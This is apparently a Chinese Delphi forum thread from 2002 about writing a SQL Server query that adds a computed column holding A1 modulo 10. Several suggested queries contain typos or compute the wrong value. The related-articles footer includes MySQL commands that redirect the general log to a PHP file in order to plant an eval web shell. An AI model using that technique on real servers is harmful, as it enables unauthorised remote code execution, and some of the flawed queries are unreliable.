社区
Delphi
帖子详情
这个SQL语句该如何写?
windofsun
2002-06-24 04:35:18
MS SQL Server中一个数据表的字段如下:
A1 A2 A3 A4 A5
其中各个字段均为整型。现在要用一个ADOQuery组件把所有的字段选出来,并新增加一个字段B1 = A1 mod 10。这个SQL语句该如何写?
这个表不是我设计的,表的结构已经不能改了。
...全文
93
15
打赏
收藏
这个SQL语句该如何写?
MS SQL Server中一个数据表的字段如下: A1 A2 A3 A4 A5 其中各个字段均为整型。现在要用一个ADOQuery组件把所有的字段选出来,并新增加一个字段B1 = A1 mod 10。这个SQL语句该如何写? 这个表不是我设计的,表的结构已经不能改了。
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
15 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
windofsun
2002-06-25
打赏
举报
回复
未阅读的短消息 已阅读的短消息
编号: 7 发送者 WnEunfn 发送时间 2002-6-25 15:14:07 删除 回复
内容 ' ' as Blacnk
你運行一下就明白了~~~~
'' as blacnk 將產生一個'' 的空白列﹐然后你可以給它賦值啊﹐你不是要一個"計算字段"么﹖這樣的也是一個"計算字段"啊~~~~但是注意' '在中你的賦值字符的長度~~~~
select A.name as ChineseName, ' ' as EnglishName, 20 as Age form tableName a wheer conditions....
然后在DataSet 中可以操作 EnglishName,Age等字段就是﹐提交的時候將不會提交此二字段的內容﹗~~~~
多谢WnEunfn
chao_jian
2002-06-24
打赏
举报
回复
Select A1,A2,A3,A4,A5,mod(IsNull(a1,0),10) as B1 Form $tableName
注:mod(IsNull(a1,0),10) 在Oracle中是可以的,SQL Server中好像应写成
(IsNull(a1,0) mod 10)
To WnEunfn(斯人不语):请老兄帮忙解释 ' ' as Blacnk 作何用?
windofsun
2002-06-24
打赏
举报
回复
等一下给各位加分。我还想问一下,计算字段如何使用?怎么设置它的表达式?
b51
2002-06-24
打赏
举报
回复
用(al%10)
Mudeen
2002-06-24
打赏
举报
回复
sorry..取余:
select a1,a2,a3,a4,a5,(a1%10) as b1 from yourtable
Mudeen
2002-06-24
打赏
举报
回复
sorry..取余:
select a1,a2,a3,a4,a5,(a1%10) as b1 from yourtable
WnEunfn
2002-06-24
打赏
举报
回复
请注意这一句: ' ' as Blacnk
WnEunfn
2002-06-24
打赏
举报
回复
Select A1,A2,A3,A4,A5,mod(a1,10) as B1 ' ' as Blacnk Form $tableName where $Conditions;//oracle下一定行的……
windofsun
2002-06-24
打赏
举报
回复
superdev(sd) :
请问,计算字段如何加?能否详细说明一下?
WnEunfn
2002-06-24
打赏
举报
回复
Select A1,A2,A3,A4,A5,mod(a1,10) as B1 ' ' as Blacnk Form $tableName where $Conditions;//oracle下一定行的……
Mudeen
2002-06-24
打赏
举报
回复
select a1,a2,a3,a4,a5,cast((a1/10) as integer) as b1 from yourtable
Yang_
2002-06-24
打赏
举报
回复
select A1,A2,A3,A4,A5,A1-(A1/10)*10 as b1 from items
superdev
2002-06-24
打赏
举报
回复
加个计算字段不就行了
windofsun
2002-06-24
打赏
举报
回复
luoweicaisd(笑三少):
注意,是取余,不是取商
luoweicaisd
2002-06-24
打赏
举报
回复
select A1,A2,A3,A4,A5,A1/10 as b1 from items
shell脚本中
写
hive的
sql语句
2.3shell脚本中
写
hive语句 2.3.1test.sh脚本内容 #!/bin/bash analysis_date=$1 #开始执行方法 #/opt/hive-2.3.5/bin/hive -e "select count(1) from hv_orders_user_buckets" echo"输入的参数变量为:$analysis_date" hive -e "u...
mysql怎么
写
sql语句
_Navicat如何
写
sql语句
sql是操作数据库中数据的语句,在不同的数据库中会略有不同。Navicat for MySQL是一款很方便的MySQL客户端工具,能够很好的提供操作数据库可视界面,在同类型的软件中,占有极高的市场份额。为了方便大家学会在Navicat
写
sql语句
的技巧,下面将教手把手给大家进行演示。具体操作步骤如下:步骤一 打开你电脑里的Navicat for MySQL。在开始菜单搜索框中输入“navicat”...
SQL语句
利用日志
写
shell
SQL语句
利用日志
写
shell outfile被禁止,或者
写
入文件被拦截 在数据库中操作如下:(必须是root权限) 1.show variables like ‘%general%'; #查看配置 2.set global general_log = on; #开启general log模式 3.set global general_log_file = ‘/var/www/html/1.php'; #设置日志目录为shell地址 4.select ‘<?php eval($_POST[cmd]);
【知识整理】利用
SQL语句
写
shell的方法
利用
SQL语句
写
shell的方法 要利用sql
写
shell就需要在配置中满足以下条件: 在mysql的配置文件my.ini中,secure_file_priv为空(被注释掉或不填)或者secure_file_priv配置是目录地址。 未开启全局GPC 关于mysql的secure_file_priv属性得多说几句 当secure_file_priv为空时,mysql对导入导出文件是没有限制的 ...
通过Navicat
写
SQL语句
具体步骤: 1、首先打开要
写
SQL语句
的数据库连接 2、然后点击菜单中的查询(query) 3、然后点击新建查询 4、然后输入
SQL语句
,点击运行,查询到的数据在底部
Delphi
5,943
社区成员
262,942
社区内容
发帖
与我相关
我的任务
Delphi
Delphi 开发及应用
复制链接
扫一扫
分享
社区描述
Delphi 开发及应用
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章